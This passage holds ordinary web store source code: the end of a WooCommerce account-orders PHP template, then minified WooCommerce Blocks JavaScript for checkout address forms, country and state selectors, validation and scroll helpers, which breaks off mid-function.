		</div>
	<?php endif; ?>

<?php else : ?>
	<div class="woocommerce-message woocommerce-message--info woocommerce-Message woocommerce-Message--info woocommerce-info">
		<a class="woocommerce-Button button" href="<?php echo esc_url( apply_filters( 'woocommerce_return_to_shop_redirect', wc_get_page_permalink( 'shop' ) ) ); ?>"><?php esc_html_e( 'Browse products', 'woocommerce' ); ?></a>
		<?php esc_html_e( 'No order has been made yet.', 'woocommerce' ); ?>
	</div>
<?php endif; ?>

<?php do_action( 'woocommerce_after_account_orders', $has_orders ); ?>
(self.webpackChunkwebpackWcBlocksJsonp=self.webpackChunkwebpackWcBlocksJsonp||[]).push([[9662],{8082:(e,t,n)=>{"use strict";n.d(t,{k:()=>Q});var o=n(9196),r=n(3554),s=n(711),i=n(9307),l=n(5736),a=n(2629),c=n(4184),d=n.n(c),u=n(4333),p=n(2819),f=n(9630),h=n(5158),m=n(444);const g=(0,i.createElement)(m.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(m.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"}));var v=n(7462);class b extends i.Component{constructor(){super(...arguments),this.onChange=this.onChange.bind(this),this.bindInput=this.bindInput.bind(this)}focus(){this.input.focus()}hasFocus(){return this.input===this.input.ownerDocument.activeElement}bindInput(e){this.input=e}onChange(e){this.props.onChange({value:e.target.value})}render(){const{value:e,isExpanded:t,instanceId:n,selectedSuggestionIndex:o,className:r,...s}=this.props,l=e?e.length+1:0;return(0,i.createElement)("input",(0,v.Z)({ref:this.bindInput,id:`components-form-token-input-${n}`,type:"text"},s,{value:e||"",onChange:this.onChange,size:l,className:d()(r,"components-form-token-field__input"),autoComplete:"off",role:"combobox","aria-expanded":t,"aria-autocomplete":"list","aria-owns":t?`components-form-token-suggestions-${n}`:void 0,"aria-activedescendant":-1!==o?`components-form-token-suggestions-${n}-${o}`:void 0,"aria-describedby":`components-form-token-suggestions-howto-${n}`}))}}const E=b;var w=n(4979),y=n.n(w);class _ extends i.Component{constructor(){super(...arguments),this.handleMouseDown=this.handleMouseDown.bind(this),this.bindList=this.bindList.bind(this)}componentDidUpdate(){this.props.selectedIndex>-1&&this.props.scrollIntoView&&this.list.children[this.props.selectedIndex]&&(this.scrollingIntoView=!0,y()(this.list.children[this.props.selectedIndex],this.list,{onlyScrollIfNeeded:!0}),this.props.setTimeout((()=>{this.scrollingIntoView=!1}),100))}bindList(e){this.list=e}handleHover(e){return()=>{this.scrollingIntoView||this.props.onHover(e)}}handleClick(e){return()=>{this.props.onSelect(e)}}handleMouseDown(e){e.preventDefault()}computeSuggestionMatch(e){const t=this.props.displayTransform(this.props.match||"").toLocaleLowerCase();if(0===t.length)return null;const n=(e=this.props.displayTransform(e)).toLocaleLowerCase().indexOf(t);return{suggestionBeforeMatch:e.substring(0,n),suggestionMatch:e.substring(n,n+t.length),suggestionAfterMatch:e.substring(n+t.length)}}render(){return(0,i.createElement)("ul",{ref:this.bindList,className:"components-form-token-field__suggestions-list",id:`components-form-token-suggestions-${this.props.instanceId}`,role:"listbox"},(0,p.map)(this.props.suggestions,((e,t)=>{const n=this.computeSuggestionMatch(e),o=d()("components-form-token-field__suggestion",{"is-selected":t===this.props.selectedIndex});return(0,i.createElement)("li",{id:`components-form-token-suggestions-${this.props.instanceId}-${t}`,role:"option",className:o,key:null!=e&&e.value?e.value:this.props.displayTransform(e),onMouseDown:this.handleMouseDown,onClick:this.handleClick(e),onMouseEnter:this.handleHover(e),"aria-selected":t===this.props.selectedIndex},n?(0,i.createElement)("span",{"aria-label":this.props.displayTransform(e)},n.suggestionBeforeMatch,(0,i.createElement)("strong",{className:"components-form-token-field__suggestion-match"},n.suggestionMatch),n.suggestionAfterMatch):this.props.displayTransform(e))})))}}_.defaultProps={match:"",onHover:()=>{},onSelect:()=>{},suggestions:Object.freeze([])};const C=(0,u.withSafeTimeout)(_);var k=n(4662),S=n(9685),A=n(2875),T=n(1092),I=n(9179),L=n(2506);const O=(0,T.L)({as:"div",useHook:function(e){const t=(0,I.y)(e,"FlexBlock");return(0,L.i)({isBlock:!0,...t})},name:"FlexBlock"});var F=n(1685);const N=(0,u.createHigherOrderComponent)((e=>t=>{const[n,o]=(0,i.useState)(),r=(0,i.useCallback)((e=>o((()=>null!=e&&e.handleFocusOutside?e.handleFocusOutside.bind(e):void 0))),[]);return(0,i.createElement)("div",(0,u.__experimentalUseFocusOutside)(n),(0,i.createElement)(e,(0,v.Z)({ref:r},t)))}),"withFocusOutside")(class extends i.Component{handleFocusOutside(e){this.props.onFocusOutside(e)}render(){return this.props.children}}),x=function e({value:t,label:n,options:o,onChange:r,onFilterValueChange:s=p.noop,hideLabelFromVision:a,help:c,allowReset:m=!0,className:v,messages:b={selected:(0,l.__)("Item selected.")}}){var w;const y=(0,u.useInstanceId)(e),[_,T]=(0,i.useState)(null),[I,L]=(0,i.useState)(!1),[x,R]=(0,i.useState)(!1),[D,B]=(0,i.useState)(""),V=(0,i.useRef)(),P=o.find((e=>e.value===t)),M=null!==(w=null==P?void 0:P.label)&&void 0!==w?w:"",W=(0,i.useMemo)((()=>{const e=[],t=[],n=(0,p.deburr)(D.toLocaleLowerCase());return o.forEach((o=>{const r=(0,p.deburr)(o.label).toLocaleLowerCase().indexOf(n);0===r?e.push(o):r>0&&t.push(o)})),e.concat(t)}),[D,o,t]),q=e=>{r(e.value),(0,h.speak)(b.selected,"assertive"),T(e),B(""),L(!1)},K=(e=1)=>{let t=W.indexOf(_)+e;t<0?t=W.length-1:t>=W.length&&(t=0),T(W[t]),L(!0)};return(0,i.useEffect)((()=>{const e=W.length>0;if(I){const t=e?(0,l.sprintf)(
/* translators: %d: number of results. */
(0,l._n)("%d result found, use up and down arrow keys to navigate.","%d results found, use up and down arrow keys to navigate.",W.length),W.length):(0,l.__)("No results.");(0,h.speak)(t,"polite")}}),[W,I]),(0,i.createElement)(N,{onFocusOutside:()=>{L(!1)}},(0,i.createElement)(k.Z,{className:d()(v,"components-combobox-control"),tabIndex:"-1",label:n,id:`components-form-token-input-${y}`,hideLabelFromVision:a,help:c},(0,i.createElement)("div",{className:"components-combobox-control__suggestions-container",tabIndex:"-1",onKeyDown:e=>{let t=!1;switch(e.keyCode){case f.ENTER:_&&(q(_),t=!0);break;case f.UP:K(-1),t=!0;break;case f.DOWN:K(1),t=!0;break;case f.ESCAPE:L(!1),T(null),t=!0,e.stopPropagation()}t&&e.preventDefault()}},(0,i.createElement)(A.Z,null,(0,i.createElement)(O,null,(0,i.createElement)(E,{className:"components-combobox-control__input",instanceId:y,ref:V,value:I?D:M,"aria-label":M?`${M}, ${n}`:null,onFocus:()=>{R(!0),L(!0),s(""),B("")},onBlur:()=>{R(!1)},isExpanded:I,selectedSuggestionIndex:W.indexOf(_),onChange:e=>{const t=e.value;B(t),s(t),x&&L(!0)}})),m&&(0,i.createElement)(F.Z,null,(0,i.createElement)(S.Z,{className:"components-combobox-control__reset",icon:g,disabled:!t,onClick:()=>{r(null),V.current.input.focus()},label:(0,l.__)("Reset")}))),I&&(0,i.createElement)(C,{instanceId:y,match:{label:D},displayTransform:e=>e.label,suggestions:W,selectedIndex:W.indexOf(_),onHover:T,onSelect:q,scrollIntoView:!0}))))};var R=n(7884),D=n(9818),B=n(4801);n(5821);const V=(0,u.withInstanceId)((({id:e,className:t,label:n,onChange:r,options:a,value:c,required:u=!1,errorMessage:p=(0,l.__)("Please select a value.","woocommerce"),errorId:f,instanceId:h="0",autoComplete:m="off"})=>{const g=(0,i.useRef)(null),v=e||"control-"+h,b=f||v,{setValidationErrors:E,clearValidationError:w}=(0,D.useDispatch)(B.VALIDATION_STORE_KEY),y=(0,D.useSelect)((e=>e(B.VALIDATION_STORE_KEY).getValidationError(b)));return(0,i.useEffect)((()=>(!u||c?w(b):E({[b]:{message:p,hidden:!0}}),()=>{w(b)})),[w,c,b,p,u,E]),(0,o.createElement)("div",{id:v,className:d()("wc-block-components-combobox",t,{"is-active":c,"has-error":(null==y?void 0:y.message)&&!(null!=y&&y.hidden)}),ref:g},(0,o.createElement)(x,{className:"wc-block-components-combobox-control",label:n,onChange:r,onFilterValueChange:e=>{if(e.length){const t=(0,R.Kn)(g.current)?g.current.ownerDocument.activeElement:void 0;if(t&&(0,R.Kn)(g.current)&&g.current.contains(t))return;const n=e.toLocaleUpperCase(),o=a.find((e=>e.value.toLocaleUpperCase()===n));if(o)return void r(o.value);const s=a.find((e=>e.label.toLocaleUpperCase().startsWith(n)));s&&r(s.value)}},options:a,value:c||"",allowReset:!1,autoComplete:m,"aria-invalid":(null==y?void 0:y.message)&&!(null!=y&&y.hidden)}),(0,o.createElement)(s.ValidationInputError,{propertyName:b}))}));n(7775);const P=({className:e,countries:t,id:n,label:r,onChange:s,value:c="",autoComplete:u="off",required:p=!1,errorId:f,errorMessage:h=(0,l.__)("Please select a country","woocommerce")})=>{const m=(0,i.useMemo)((()=>Object.entries(t).map((([e,t])=>({value:e,label:(0,a.decodeEntities)(t)})))),[t]);return(0,o.createElement)("div",{className:d()(e,"wc-block-components-country-input")},(0,o.createElement)(V,{id:n,label:r,onChange:s,options:m,value:c,errorId:f,errorMessage:h,required:p,autoComplete:u}))};var M=n(5271);const W=e=>(0,o.createElement)(P,{countries:M.DK,...e}),q=e=>(0,o.createElement)(P,{countries:M.mO,...e});n(8410);const K=(e,t)=>{const n=t.find((t=>t.label.toLocaleUpperCase()===e.toLocaleUpperCase()||t.value.toLocaleUpperCase()===e.toLocaleUpperCase()));return n?n.value:""},U=({className:e,id:t,states:n,country:r,label:c,onChange:u,autoComplete:p="off",value:f="",required:h=!1,errorId:m=""})=>{const g=n[r],v=(0,i.useMemo)((()=>g?Object.keys(g).map((e=>({value:e,label:(0,a.decodeEntities)(g[e])}))):[]),[g]),b=(0,i.useCallback)((e=>{const t=v.length>0?K(e,v):e;t!==f&&u(t)}),[u,v,f]),E=(0,i.useRef)(f);return(0,i.useEffect)((()=>{E.current!==f&&(E.current=f)}),[f]),(0,i.useEffect)((()=>{if(v.length>0&&E.current){const e=K(E.current,v);e!==E.current&&b(e)}}),[v,b]),v.length>0?(0,o.createElement)(V,{className:d()(e,"wc-block-components-state-input"),id:t,label:c,onChange:b,options:v,value:f,errorMessage:(0,l.__)("Please select a state.","woocommerce"),errorId:m,required:h,autoComplete:p}):(0,o.createElement)(s.ValidatedTextInput,{className:e,id:t,label:c,onChange:b,autoComplete:p,value:f,required:h})},H=e=>(0,o.createElement)(U,{states:M.JJ,...e}),$=e=>(0,o.createElement)(U,{states:M.nm,...e});var Y=n(9075),Z=n(4617),z=n(9127),j=n.n(z),G=n(3340);const J=Object.keys(Z.defaultAddressFields),X=({id:e="",fields:t=J,fieldConfig:n={},onChange:a,type:c="shipping",values:d})=>{const p=(0,u.useInstanceId)(X),f=(0,Y.s)(t),h=(0,Y.s)(n),m=(0,Y.s)(d.country),g=(0,i.useMemo)((()=>{const e=(0,G.Z)(f,h,m);return{fields:e,type:c,required:e.filter((e=>e.required)),hidden:e.filter((e=>e.hidden))}}),[f,h,m,c]),v=(0,i.useRef)({});return(0,i.useEffect)((()=>{const e={...d,...Object.fromEntries(g.hidden.map((e=>[e.key,""])))};j()(d,e)||a(e)}),[a,g,d]),(0,i.useEffect)((()=>{"shipping"===c&&(e=>{const t="shipping_country",n=(0,D.select)(B.VALIDATION_STORE_KEY).getValidationError(t);!e.country&&(e.city||e.state||e.postcode)&&(n?(0,D.dispatch)(B.VALIDATION_STORE_KEY).showValidationError(t):(0,D.dispatch)(B.VALIDATION_STORE_KEY).setValidationErrors({[t]:{message:(0,l.__)("Please select your country","woocommerce"),hidden:!1}})),n&&e.country&&(0,D.dispatch)(B.VALIDATION_STORE_KEY).clearValidationError(t)})(d)}),[d,c]),(0,i.useEffect)((()=>{var e,t;null===(e=v.current)||void 0===e||null===(t=e.postcode)||void 0===t||t.revalidate()}),[m]),e=e||`${p}`,(0,o.createElement)("div",{id:e,className:"wc-block-components-address-form"},g.fields.map((t=>{if(t.hidden)return null;const n={id:`${e}-${t.key}`,errorId:`${c}_${t.key}`,label:t.required?t.label:t.optionalLabel,autoCapitalize:t.autocapitalize,autoComplete:t.autocomplete,errorMessage:t.errorMessage,required:t.required,className:`wc-block-components-address-form__${t.key}`};if("country"===t.key){const e="shipping"===c?q:W;return(0,o.createElement)(e,{key:t.key,...n,value:d.country,onChange:e=>{const t={...d,country:e,state:""};d.postcode&&!(0,r.isPostcode)({postcode:d.postcode,country:e})&&(t.postcode=""),a(t)}})}if("state"===t.key){const e="shipping"===c?$:H;return(0,o.createElement)(e,{key:t.key,...n,country:d.country,value:d.state,onChange:e=>a({...d,state:e})})}return(0,o.createElement)(s.ValidatedTextInput,{key:t.key,ref:e=>v.current[t.key]=e,...n,type:t.type,value:d[t.key],onChange:e=>a({...d,[t.key]:e}),customFormatter:e=>"postcode"===t.key?e.trimStart().toUpperCase():e,customValidation:e=>((e,t,n)=>!((e.required||e.value)&&"postcode"===t&&n.country&&!(0,r.isPostcode)({postcode:e.value,country:n.country})&&(e.setCustomValidity((0,l.__)("Please enter a valid postcode","woocommerce")),1)))(e,t.key,d)})})))},Q=X},6938:(e,t,n)=>{"use strict";n.d(t,{Z:()=>l});var o=n(9196),r=n(9307),s=n(5904);const i=["BUTTON","FIELDSET","INPUT","OPTGROUP","OPTION","SELECT","TEXTAREA","A"],l=({children:e,style:t={},...n})=>{const l=(0,r.useRef)(null),a=()=>{l.current&&s.focus.focusable.find(l.current).forEach((e=>{i.includes(e.nodeName)&&e.setAttribute("tabindex","-1"),e.hasAttribute("contenteditable")&&e.setAttribute("contenteditable","false")}))},c=function(e,t,n){var r=this,s=(0,o.useRef)(null),i=(0,o.useRef)(0),l=(0,o.useRef)(null),a=(0,o.useRef)([]),c=(0,o.useRef)(),d=(0,o.useRef)(),u=(0,o.useRef)(e),p=(0,o.useRef)(!0);(0,o.useEffect)((function(){u.current=e}),[e]);var f=!t&&0!==t&&"undefined"!=typeof window;if("function"!=typeof e)throw new TypeError("Expected a function");t=+t||0;var h=!!(n=n||{}).leading,m=!("trailing"in n)||!!n.trailing,g="maxWait"in n,v=g?Math.max(+n.maxWait||0,t):null;(0,o.useEffect)((function(){return p.current=!0,function(){p.current=!1}}),[]);var b=(0,o.useMemo)((function(){var e=function(e){var t=a.current,n=c.current;return a.current=c.current=null,i.current=e,d.current=u.current.apply(n,t)},n=function(e,t){f&&cancelAnimationFrame(l.current),l.current=f?requestAnimationFrame(e):setTimeout(e,t)},o=function(e){if(!p.current)return!1;var n=e-s.current;return!s.current||n>=t||n<0||g&&e-i.current>=v},b=function(t){return l.current=null,m&&a.current?e(t):(a.current=c.current=null,d.current)},E=function e(){var r=Date.now();if(o(r))return b(r);if(p.current){var l=t-(r-s.current),a=g?Math.min(l,v-(r-i.current)):l;n(e,a)}},w=function(){var u=Date.now(),f=o(u);if(a.current=[].slice.call(arguments),c.current=r,s.current=u,f){if(!l.current&&p.current)return i.current=s.current,n(E,t),h?e(s.current):d.current;if(g)return n(E,t),e(s.current)}return l.current||n(E,t),d.current};return w.cancel=function(){l.current&&(f?cancelAnimationFrame(l.current):clearTimeout(l.current)),i.current=0,a.current=s.current=c.current=l.current=null},w.isPending=function(){return!!l.current},w.flush=function(){return l.current?b(Date.now()):d.current},w}),[h,g,t,v,m,f]);return b}(a,0,{leading:!0});return(0,r.useLayoutEffect)((()=>{let e;return a(),l.current&&(e=new window.MutationObserver(c),e.observe(l.current,{childList:!0,attributes:!0,subtree:!0})),()=>{e&&e.disconnect(),c.cancel()}}),[c]),(0,o.createElement)("div",{ref:l,"aria-disabled":"true",style:{userSelect:"none",pointerEvents:"none",cursor:"normal",...t},...n},e)}},7277:(e,t,n)=>{"use strict";n.d(t,{B:()=>c});var o=n(4617),r=n(9307),s=n(9818),i=n(4801),l=n(7844),a=n(5027);const c=()=>{const{needsShipping:e}=(0,a.V)(),{useShippingAsBilling:t,prefersCollection:n}=(0,s.useSelect)((e=>({useShippingAsBilling:e(i.CHECKOUT_STORE_KEY).getUseShippingAsBilling(),prefersCollection:e(i.CHECKOUT_STORE_KEY).prefersCollection()}))),{__internalSetUseShippingAsBilling:c}=(0,s.useDispatch)(i.CHECKOUT_STORE_KEY),{billingAddress:d,setBillingAddress:u,shippingAddress:p,setShippingAddress:f}=(0,l.L)(),h=(0,r.useCallback)((e=>{u({email:e})}),[u]),m=(0,o.getSetting)("forcedBillingAddress",!1);return{shippingAddress:p,billingAddress:d,setShippingAddress:f,setBillingAddress:u,setEmail:h,defaultAddressFields:o.defaultAddressFields,useShippingAsBilling:t,setUseShippingAsBilling:c,needsShipping:e,showShippingFields:!m&&e&&!n,showShippingMethods:e&&!n,showBillingFields:!e||!t||!!n,forcedBillingAddress:m,useBillingAsShipping:m||!!n}}},7844:(e,t,n)=>{"use strict";n.d(t,{L:()=>s});var o=n(9818),r=n(4801);const s=()=>{const{customerData:e,isInitialized:t}=(0,o.useSelect)((e=>{const t=e(r.CART_STORE_KEY);return{customerData:t.getCustomerData(),isInitialized:t.hasFinishedResolution("getCartData")}})),{setShippingAddress:n,setBillingAddress:s}=(0,o.useDispatch)(r.CART_STORE_KEY);return{isInitialized:t,billingAddress:e.billingAddress,shippingAddress:e.shippingAddress,setBillingAddress:s,setShippingAddress:n}}},9075:(e,t,n)=>{"use strict";n.d(t,{s:()=>i});var o=n(9307),r=n(9127),s=n.n(r);function i(e){const t=(0,o.useRef)(e);return s()(e,t.current)||(t.current=e),t.current}},1106:(e,t,n)=>{"use strict";n.d(t,{Z:()=>i});var o=n(9196),r=n(5736),s=n(5271);n(5362);const i=({address:e,onEdit:t,target:n,fieldConfig:i})=>(0,o.createElement)("div",{className:"wc-block-components-address-card"},(0,o.createElement)("address",null,(0,o.createElement)("span",{className:"wc-block-components-address-card__address-section"},e.first_name+" "+e.last_name),(0,o.createElement)("div",{className:"wc-block-components-address-card__address-section"},[e.address_1,!i.address_2.hidden&&e.address_2,e.city,e.state,e.postcode,s.DK[e.country]?s.DK[e.country]:e.country].filter((e=>!!e)).map(((e,t)=>(0,o.createElement)("span",{key:"address-"+t},e)))),e.phone&&!i.phone.hidden?(0,o.createElement)("div",{key:"address-phone",className:"wc-block-components-address-card__address-section"},e.phone):""),t&&(0,o.createElement)("a",{role:"button",href:"#"+n,className:"wc-block-components-address-card__edit","aria-label":(0,r.__)("Edit address","woocommerce"),onClick:e=>{t(),e.preventDefault()}},(0,r.__)("Edit","woocommerce")))},4660:(e,t,n)=>{"use strict";n.d(t,{Z:()=>i});var o=n(9196),r=n(4184),s=n.n(r);n(1741);const i=({isEditing:e=!1,addressCard:t,addressForm:n})=>{const r=s()("wc-block-components-address-address-wrapper",{"is-editing":e});return(0,o.createElement)("div",{className:r},(0,o.createElement)("div",{className:"wc-block-components-address-card-wrapper"},t()),(0,o.createElement)("div",{className:"wc-block-components-address-form-wrapper"},n()))}},9490:(e,t,n)=>{"use strict";n.d(t,{Z:()=>r});var o=n(5736);const r=({defaultTitle:e=(0,o.__)("Step","woocommerce"),defaultDescription:t=(0,o.__)("Step description text.","woocommerce"),defaultShowStepNumber:n=!0})=>({title:{type:"string",default:e},description:{type:"string",default:t},showStepNumber:{type:"boolean",default:n}})},3014:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:()=>N});var o=n(9196),r=n(4184),s=n.n(r),i=n(721),l=n(711),a=n(7277),c=n(9818),d=n(4801),u=n(9307),p=n(3298),f=n(8832),h=n(6423),m=n(6938),g=n(9127),v=n.n(g),b=n(8082),E=n(5918),w=n(4660),y=n(1106);const _=({addressFieldsConfig:e,defaultEditing:t=!1})=>{const{defaultAddressFields:n,billingAddress:r,setShippingAddress:s,setBillingAddress:i,useBillingAsShipping:l}=(0,a.B)(),{dispatchCheckoutEvent:p}=(0,E.n)(),[f,h]=(0,u.useState)(t),{hasValidationErrors:m,invalidProps:g}=(0,c.useSelect)((e=>{const t=e(d.VALIDATION_STORE_KEY);return{hasValidationErrors:t.hasValidationErrors(),invalidProps:Object.keys(r).filter((e=>"email"!==e&&void 0!==t.getValidationError("billing_"+e))).filter(Boolean)}}));(0,u.useEffect)((()=>{g.length>0&&!1===f&&h(!0)}),[f,m,g.length]);const v=Object.keys(n),_=(0,u.useCallback)((e=>{i(e),l&&(s(e),p("set-shipping-address")),p("set-billing-address")}),[p,i,s,l]),C=(0,u.useCallback)((()=>(0,o.createElement)(y.Z,{address:r,target:"billing",onEdit:()=>{h(!0)},fieldConfig:e})),[r,e]),k=(0,u.useCallback)((()=>(0,o.createElement)(o.Fragment,null,(0,o.createElement)(b.k,{id:"billing",type:"billing",onChange:_,values:r,fields:v,fieldConfig:e}))),[v,e,r,_]);return(0,o.createElement)(w.Z,{isEditing:f,addressCard:C,addressForm:k})},C=({showCompanyField:e=!1,showApartmentField:t=!1,showPhoneField:n=!1,requireCompanyField:r=!1,requirePhoneField:s=!1})=>{const{shippingAddress:i,billingAddress:g,setShippingAddress:b,useBillingAsShipping:E}=(0,a.B)(),{isEditor:w}=(0,f._)();(0,p.qR)((()=>{if(E){const{email:t,...o}=g,r={...o};n||delete r.phone,e&&delete r.company,b(r)}}));const y=(0,u.useMemo)((()=>({company:{hidden:!e,required:r},address_2:{hidden:!t},phone:{hidden:!n,required:s}})),[e,r,t,n,s]),C=w?m.Z:u.Fragment,k=E?[h.n7.BILLING_ADDRESS,h.n7.SHIPPING_ADDRESS]:[h.n7.BILLING_ADDRESS],{cartDataLoaded:S}=(0,c.useSelect)((e=>({cartDataLoaded:e(d.CART_STORE_KEY).hasFinishedResolution("getCartData")}))),A=!(!g.address_1||!g.first_name&&!g.last_name),{email:T,...I}=g,L=v()(I,i),O=w||!A||L;return(0,o.createElement)(u.Fragment,null,(0,o.createElement)(l.StoreNoticesContainer,{context:k}),(0,o.createElement)(C,null,S?(0,o.createElement)(_,{addressFieldsConfig:y,defaultEditing:O}):null))};var k=n(9490),S=n(5736);const A=(0,S.__)("Billing address","woocommerce"),T=(0,S.__)("Enter the billing address that matches your payment method.","woocommerce"),I=(0,S.__)("Billing and shipping address","woocommerce"),L=(0,S.__)("Enter the billing and shipping address that matches your payment method.","woocommerce"),O={...(0,k.Z)({defaultTitle:A,defaultDescription:T}),className:{type:"string",default:""},lock:{type:"object",default:{move:!0,remove:!0}}};var F=n(1141);const N=(0,i.withFilteredAttributes)(O)((({title:e,description:t,showStepNumber:n,children:r,className:i})=>{const u=(0,c.useSelect)((e=>e(d.CHECKOUT_STORE_KEY).isProcessing())),{requireCompanyField:p,requirePhoneField:f,showApartmentField:h,showCompanyField:m,showPhoneField:g}=(0,F.s4)(),{showBillingFields:v,forcedBillingAddress:b,useBillingAsShipping:E}=(0,a.B)();return v||E?(e=((e,t)=>t?e===A?I:e:e===I?A:e)(e,b),t=((e,t)=>t?e===T?L:e:e===L?T:e)(t,b),(0,o.createElement)(l.FormStep,{id:"billing-fields",disabled:u,className:s()("wc-block-checkout__billing-fields",i),title:e,description:t,showStepNumber:n},(0,o.createElement)(C,{requireCompanyField:p,showApartmentField:h,showCompanyField:m,showPhoneField:g,requirePhoneField:f}),r)):null}))},9010:(e,t,n)=>{"use strict";var o=n(4657);e.exports=function(e,t,n){n=n||{},9===t.nodeType&&(t=o.getWindow(t));var r=n.allowHorizontalScroll,s=n.onlyScrollIfNeeded,i=n.alignWithTop,l=n.alignWithLeft,a=n.offsetTop||0,c=n.offsetLeft||0,d=n.offsetBottom||0,u=n.offsetRight||0;r=void 0===r||r;var p=o.isWindow(t),f=o.offset(e),h=o.outerHeight(e),m=o.outerWidth(e),g=void 0,v=void 0,b=void 0,E=void 0,w=void 0,y=void 0,_=void 0,C=void 0,k=void 0,S=void 0;p?(_=t,S=o.height(_),k=o.width(_),C={left:o.scrollLeft(_),top:o.scrollTop(_)},w={left:f.left-C.left-c,top:f.top-C.top-a},y={left:f.left+m-(C.left+k)+u,top:f.top+h-(C.top+S)+d},E=C):(g=o.offset(t),v=t.clientHeight,b=t.clientWidth,E={left:t.scrollLeft,top:t.scrollTop},w={left:f.left-(g.left+(parseFloat(o.css(t,"borderLeftWidth"))||0))-c,top:f.top-(g.top+(parseFloat(o.css(t,"borderTopWidth"))||0))-a},y={left:f.left+m-(g.left+b+(parseFloat(o.css(t,"borderRightWidth"))||0))+u,top:f.top+h-(g.top+v+(parseFloat(o.css(t,"borderBottomWidth"))||0))+d}),w.top<0||y.top>0?!0===i?o.scrollTop(t,E.top+w.top):!1===i?o.scrollTop(t,E.top+y.top):w.top<0?o.scrollTop(t,E.top+w.top):o.scrollTop(t,E.top+y.top):s||((i=void 0===i||!!i)?o.scrollTop(t,E.top+w.top):o.scrollTop(t,E.top+y.top)),r&&(w.left<0||y.left>0?!0===l?o.scrollLeft(t,E.left+w.left):!1===l?o.scrollLeft(t,E.left+y.left):w.left<0?o.scrollLeft(t,E.left+w.left):o.scrollLeft(t,E.left+y.left):s||((l=void 0===l||!!l)?o.scrollLeft(t,E.left+w.left):o.scrollLeft(t,E.left+y.left)))}},4979:(e,t,n)=>{"use strict";e.exports=n(9010)},4657:e=>{"use strict";var t=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e};function o(e,t){var n=e["page"+(t?"Y":"X")+"Offset"],o="scroll"+(t?"Top":"Left");if("number"!=typeof n){var r=e.document;"number"!=typeof(n=r.documentElement[o])&&(n=r.body[o])}return n}function r(e){return o(e)}function s(e){return o(e,!0)}function i(e){var t=function(e){var t,n=void 0,o=void 0,r=e.ownerDocument,s=r.body,i=r&&r.documentElement;return n=(t=e.getBoundingClientRect()).left,o=t.top,{left:n-=i.clientLeft||s.clientLeft||0,top:o-=i.clientTop||s.clientTop||0}}(e),n=e.ownerDocument,o=n.defaultView||n.parentWindow;return t.left+=r(o),t.top+=s(o),t}var l=new RegExp("^("+/[\-+]?(?:\d*\.|)\d+(?:[eE][\-+]?\d+|)/.source+")(?!px)[a-z%]+$","i"),a=/^(top|right|bottom|left)$/,c="currentStyle",d="runtimeStyle",u="left",p=void 0;function f(e,t){for(var n=0;n<e.length;n++)t(e[n])}function h(e){return"border-box"===p(e,"boxSizing")}"undefined"!=typeof window&&(p=window.getComputedStyle?function(e,t,n){var o="",r=e.ownerDocument,s=n||r.defaultView.getComputedStyle(e,null);return s&&(o=s.getPropertyValue(t)||s[t]),o}:function(e,t){var n=e[c]&&e[c][t];if(l.test(n)&&!a.test(t)){var o=e.style,r=o[u],s=e[d][u];e[d][u]=e[c][u],o[u]="fontSize"===t?"1em":n||0,n=o.pixelLeft+"px",o[u]=r,e[d][u]=s}return""===n?"auto":n});var m=["margin","border","padding"],g=-1,v=2,b=1;function E(e,t,n){var o=0,r=void 0,s=void 0,i=void 0;for(s=0;s<t.length;s++)if(r=t[s])for(i=0;i<n.length;i++){var l;l="border"===r?r+n[i]+"Width":r+n[i],o+=parseFloat(p(e,l))||0}return o}function w(e){return null!=e&&e==e.window}var y={};function _(e,t,n){if(w(e))return"width"===t?y.viewportWidth(e):y.viewportHeight(e);if(9===e.nodeType)return"width"===t?y.docWidth(e):y.docHeight(e);var o="width"===t?["Left","Right"]:["Top","Bottom"],r="width"===t?e.offsetWidth:e.offsetHeight,s=(p(e),h(e)),i=0;(null==r||r<=0)&&(r=void 0,(null==(i=p(e,t))||Number(i)<0)&&(i=e.style[t]||0),i=parseFloat(i)||0),void 0===n&&(n=s?b:g);var l=void 0!==r||s,a=r||i;if(n===g)return l?a-E(e,["border","padding"],o):i;if(l){var c=n===v?-E(e,["border"],o):E(e,["margin"],o);return a+(n===b?0:c)}return i+E(e,m.slice(n),o)}f(["Width","Height"],(function(e){y["doc"+e]=function(t){var n=t.document;return Math.max(n.documentElement["scroll"+e],n.body["scroll"+e],y["viewport"+e](n))},y["viewport"+e]=function(t){var n="client"+e,o=t.document,r=o.body,s=o.documentElement[n];return"CSS1Compat"===o.compatMode&&s||r&&r[n]||s}}));var C={position:"absolute",visibility:"hidden",display:"block"};function k(e){var t=void 0,n=arguments;return 0!==e.offsetWidth?t=_.apply(void 0,n):function(e,o,r){var s={},i=e.style,l=void 0;for(l in o)o.hasOwnProperty(l)&&(s[l]=i[l],i[l]=o[l]);for(l in function(){t=_.apply(void 0,n)}.call(e),o)o.hasOwnProperty(l)&&(i[l]=s[l])}(e,C),t}function S(e,t,o){var r=o;if("object"!==(void 0===t?"undefined":n(t)))return void 0!==r?("number"==typeof r&&(r+="px"),void(e.style[t]=r)):p(e,t);for(var s in t)t.hasOwnProperty(s)&&S(e,s,t[s])}f(["width","height"],(function(e){var t=e.charAt(0).toUpperCase()+e.slice(1);y["outer"+t]=function(t,n){return t&&k(t,e,n?0:b)};var n="width"===e?["Left","Right"]:["Top","Bottom"];y[e]=function(t,o){return void 0===o?t&&k(t,e,g):t?(p(t),h(t)&&(o+=E(t,["padding","border"],n)),S(t,e,o)):void 0}})),e.exports=t({getWindow:function(e){var t=e.ownerDocument||e;return t.defaultView||t.parentWindow},offset:function(e,t){if(void 0===t)return i(e);!function(e,t){"static"===S(e,"position")&&(e.style.position="relative");var n=i(e),o={},r=void 0,s=void 0;for(s in t)t.hasOwnProperty(s)&&(r=parseFloat(S(e,s))||0,o[s]=r+t[s]-n[s]);S(e,o)}(e,t)},isWindow:w,each:f,css:S,clone:function(e){var t={};for(var n in 